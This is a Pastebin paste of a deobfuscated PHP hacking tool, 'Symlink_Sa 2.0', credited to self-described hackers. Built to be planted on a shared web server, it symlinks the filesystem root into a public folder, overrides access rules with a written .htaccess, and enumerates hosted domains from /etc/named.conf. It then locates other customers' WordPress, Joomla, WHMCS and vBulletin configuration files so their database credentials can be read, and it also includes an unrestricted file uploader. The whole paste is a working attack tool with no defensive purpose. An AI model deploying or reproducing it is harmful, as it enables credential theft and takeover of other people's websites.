EddieKidiw

Symlink_Sa 2.0 Decoder

Dec 26th, 2015
209
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.02 KB | None | 0 0
  1. <?php echo ' ';
  2. @set_time_limit(0);
  3. $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  4. $IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );
  5. $IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );
  6. ;echo '  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  7.    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  8.  
  9. <html xmlns="http://www.w3.org/1999/xhtml">
  10.  
  11. <head>
  12. <title>Symlink_Sa 2.0</title>
  13.  
  14. <style type="text/css">
  15.  
  16.  html,body {
  17.     margin: 0;
  18.     padding: 0;
  19.     outline: 0;
  20. }
  21.  
  22.  
  23. body {
  24.    direction: ltr;
  25.    background-color:#F4F4F4;
  26.     color: rgb(153, 153, 153);
  27.    text-align: center
  28. }
  29.  
  30. input,textarea,select{
  31. font-weight: bold;
  32. color: #111111;
  33. dashed #ffffff;
  34. border: 1px
  35. solid #BBBBBB;
  36. background-color: #DDDDDD;
  37. }
  38.  
  39.  
  40. .hedr {
  41.  font-family: Tahoma, Arial, sans-serif  ;
  42.  font-size: 22px;
  43.  
  44.  
  45. }
  46.  
  47. .cont a{
  48.  
  49. text-decoration: none;
  50. color:rgb(153, 153, 153);
  51. font-family: Tahoma, Arial, sans-serif  ;
  52. font-size: 16px;
  53. text-shadow: 0px 0px 3px ;
  54. }
  55.  
  56. .cont a:hover{
  57.  
  58.  
  59.  color: #EEEEEE ;
  60.  text-shadow:0px 0px 3px #000000 ;
  61.  
  62.  
  63. }
  64.  
  65. .tmp tr td{
  66.  
  67. border: solid 1px #BBBBBB;
  68.  
  69. padding: 2px ;
  70.  font-size: 13px;
  71. }
  72.  
  73. .tmp tr td a {
  74.  text-decoration: none;
  75.  
  76.  
  77.  
  78. }
  79.  
  80. .foter{
  81.  font-size: 9pt;
  82.  color: #AAAAAA ;
  83.  text-align: center
  84. }
  85.  
  86. .tmp tr td:hover{
  87.  
  88. box-shadow: 0px 0px 4px #888888;
  89.  
  90. }
  91. .fot{
  92.  
  93. font-family:Tahoma, Arial, sans-serif;
  94.  
  95.  font-size: 13pt;
  96. }
  97.  
  98. .ir {
  99.  color: #FF0000;
  100. }
  101.  
  102.  
  103.  
  104. </style>
  105.  
  106. </head>
  107.  
  108. <body>
  109.  
  110. <div class=\'all\'>
  111.  
  112.  
  113. ';
  114. @mkdir('sym',0777);
  115. $IIIIIIIIIIl1  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  116. $IIIIIIIIII1I =@fopen ('sym/.htaccess','w');
  117. fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
  118. @symlink('/','sym/root');
  119. $IIIIIIIIIlIl = basename(__FILE__);
  120. echo '<br /><div class="hedr"> Symlink Sa 2.0 <br /></div>';
  121. echo '<br /><div class="hedr">-:[ User & Domains & Symlink ]:-<br /><br /></div>';
  122. echo '<div class="cont">
  123.  
  124. [<a href="?"> Home </a>]
  125.  
  126. [<a href="?sws=sym"> User & Domains & Symlink </a>]
  127.  
  128. [<a href="?sws=sec"> Domains & Script </a>]
  129.  
  130. [ <a href="?sws=file"> Symlink File </a>]<br /><br /><br />
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137. </div>';
  138. if(isset($_REQUEST['sws']))
  139. {
  140. switch ($_REQUEST['sws'])
  141. {
  142. case 'sec':
  143. $IIIIIIIIIllI = @file('/etc/named.conf');
  144. if(!$IIIIIIIIIllI)
  145. {
  146. die (" can't read /etc/named.conf");
  147. }
  148. else
  149. {
  150. echo "<div class='tmp'>
  151. <table align='center' width='40%'><td> Domains </td><td> Script </td>";
  152. foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  153. if(eregi('zone',$IIIIIIIIIll1)){
  154. preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  155. flush();
  156. if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  157. $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  158. $IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';
  159. $IIIIIIIII11I=get_headers($IIIIIIIII1l1);
  160. $IIIIIIIII11l=$IIIIIIIII11I[0];
  161. $IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';
  162. $IIIIIIIIlIII=get_headers($IIIIIIIII111);
  163. $IIIIIIIIlIIl=$IIIIIIIIlIII[0];
  164. $IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';
  165. $IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);
  166. $IIIIIIIIlIll=$IIIIIIIIlIlI[0];
  167. $IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';
  168. $IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);
  169. $IIIIIIIIlI1l=$IIIIIIIIlI1I[0];
  170. $IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';
  171. $IIIIIIIIllII=get_headers($IIIIIIIIlI11);
  172. $IIIIIIIIllIl=$IIIIIIIIllII[0];
  173. $IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';
  174. $IIIIIIIIlllI=get_headers($IIIIIIIIllI1);
  175. $IIIIIIIIllll=$IIIIIIIIlllI[0];
  176. $IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';
  177. $IIIIIIIIll1I=get_headers($IIIIIIIIlll1);
  178. $IIIIIIIIll1l=$IIIIIIIIll1I[0];
  179. $IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';
  180. $IIIIIIIIl1II=get_headers($IIIIIIIIll11);
  181. $IIIIIIIIl1Il=$IIIIIIIIl1II[0];
  182. $IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';
  183. $IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);
  184. $IIIIIIIIl1lI=$IIIIIIIIl1II[0];
  185. $IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  186. $IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);
  187. $IIIIIIIIl11I=$IIIIIIIIl1l1[0];
  188. $IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';
  189. $IIIIIIIIl111=get_headers($IIIIIIIIl11l);
  190. $IIIIIIII1III=$IIIIIIIIl111[0];
  191. $IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';
  192. $IIIIIIII1II1=get_headers($IIIIIIII1IIl);
  193. $IIIIIIII1IlI=$IIIIIIII1II1[0];
  194. $IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');
  195. $IIIIIIII1I1I='&nbsp;';
  196. if (strpos($IIIIIIIII11l,'200') == true )
  197. {
  198. $IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";
  199. }
  200. elseif (strpos($IIIIIIIIlIIl,'200') == true)
  201. {
  202. $IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";
  203. }
  204. elseif (strpos($IIIIIIIIlIll,'200')  == true and strpos($IIIIIIII1III,'200')  == true )
  205. {
  206. $IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";
  207. }
  208. elseif (strpos($IIIIIIIIl1lI,'200')  == true)
  209. {
  210. $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";
  211. }
  212. elseif (strpos($IIIIIIIIl11I,'200')  == true)
  213. {
  214. $IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";
  215. }
  216. elseif (strpos($IIIIIIIIlIll,'200')  == true)
  217. {
  218. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";
  219. }
  220. elseif (strpos($IIIIIIIIlI1l,'200')  == true)
  221. {
  222. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";
  223. }
  224. elseif (strpos($IIIIIIIIllIl,'200')  == true)
  225. {
  226. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";
  227. }
  228. elseif (strpos($IIIIIIIIllll,'200')  == true)
  229. {
  230. $IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";
  231. }
  232. elseif (strpos($IIIIIIIIll1l,'200')  == true)
  233. {
  234. $IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";
  235. }
  236. else
  237. {
  238. continue;
  239. }
  240. $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  241. echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>
  242. <td>'.$IIIIIIII1I1I.'</td></tr>';flush();
  243. }
  244. }
  245. }
  246. }
  247. break;
  248. case 'sym':
  249. $IIIIIIIIIllI = @file('/etc/named.conf');
  250. if(!$IIIIIIIIIllI)
  251. {
  252. die (" can't read /etc/named.conf");
  253. }
  254. else
  255. {
  256. echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
  257. foreach($IIIIIIIIIllI as $IIIIIIIIIll1){
  258. if(eregi('zone',$IIIIIIIIIll1)){
  259. preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);
  260. flush();
  261. if(strlen(trim($IIIIIIIIIl11[1][0])) >2){
  262. $IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));
  263. $IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;
  264. @symlink('/','sym/root');
  265. $IIIIIIII1I1l = $IIIIIIIIIl11[1][0];
  266. $IIIIIIII1I11 = '\.ir';
  267. $IIIIIIII1lII = '\.il';
  268. if (eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )
  269. {
  270. $IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';
  271. }
  272. echo "
  273. <tr>
  274.  
  275. <td>
  276. <div class='dom'><a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a> </div>
  277. </td>
  278.  
  279.  
  280. <td>
  281. '.$IIIIIIIII1I1['name']."
  282. </td>
  283.  
  284.  
  285.  
  286.  
  287.  
  288.  
  289. <td>
  290. <a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>
  291. </td>
  292.  
  293.  
  294. </tr></div> ";
  295. flush();
  296. }
  297. }
  298. }
  299. }
  300. break;
  301. case 'file':
  302. echo '
  303. The file path to symlink
  304.  
  305. <br /><br />
  306. <form method="post">
  307. <input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
  308. <input type="text" name="symfile" value="file.name_sym ( Ex. :: 1.txt )" size="60"/><br /><br />
  309. <input type="submit" value="symlink" name="symlink" /> <br /><br />
  310.  
  311.  
  312.  
  313. </form>
  314. ';
  315. $IIIIIIII1lIl = $_POST['file'];
  316. $symfile = $_POST['symfile'];
  317. $symlink = $_POST['symlink'];
  318. if ($symlink)
  319. {
  320. @symlink("$IIIIIIII1lIl","sym/$symfile");
  321. echo '<br /><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a>';
  322. }
  323. break;
  324. default:
  325. header("Location: $IIIIIIIIIlIl");
  326. }
  327. }else
  328. {
  329. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  330. echo '<input type="file" name="file" value="Choose file" size="60" ><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  331. if( $_POST['_upl'] == 'Upload') {
  332. if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])) {echo '<br /><br /><b>Uploaded successful !!<br><br>';}
  333. else {echo '<br /><br />Not uploaded !!<br><br>';}
  334. }
  335. echo '
  336. <br /><br /><div class="fot">Cod3d by Mr.Alsa3ek and Al-Swisre
  337. <br /><br />
  338. Muslims Hackers</div> ';
  339. }
  340. ;echo '
  341.  
  342. </div>
  343.  
  344.  
  345. </body>
  346.  
  347. </html>
  348. '; ?>
Add Comment
Please, Sign In to add comment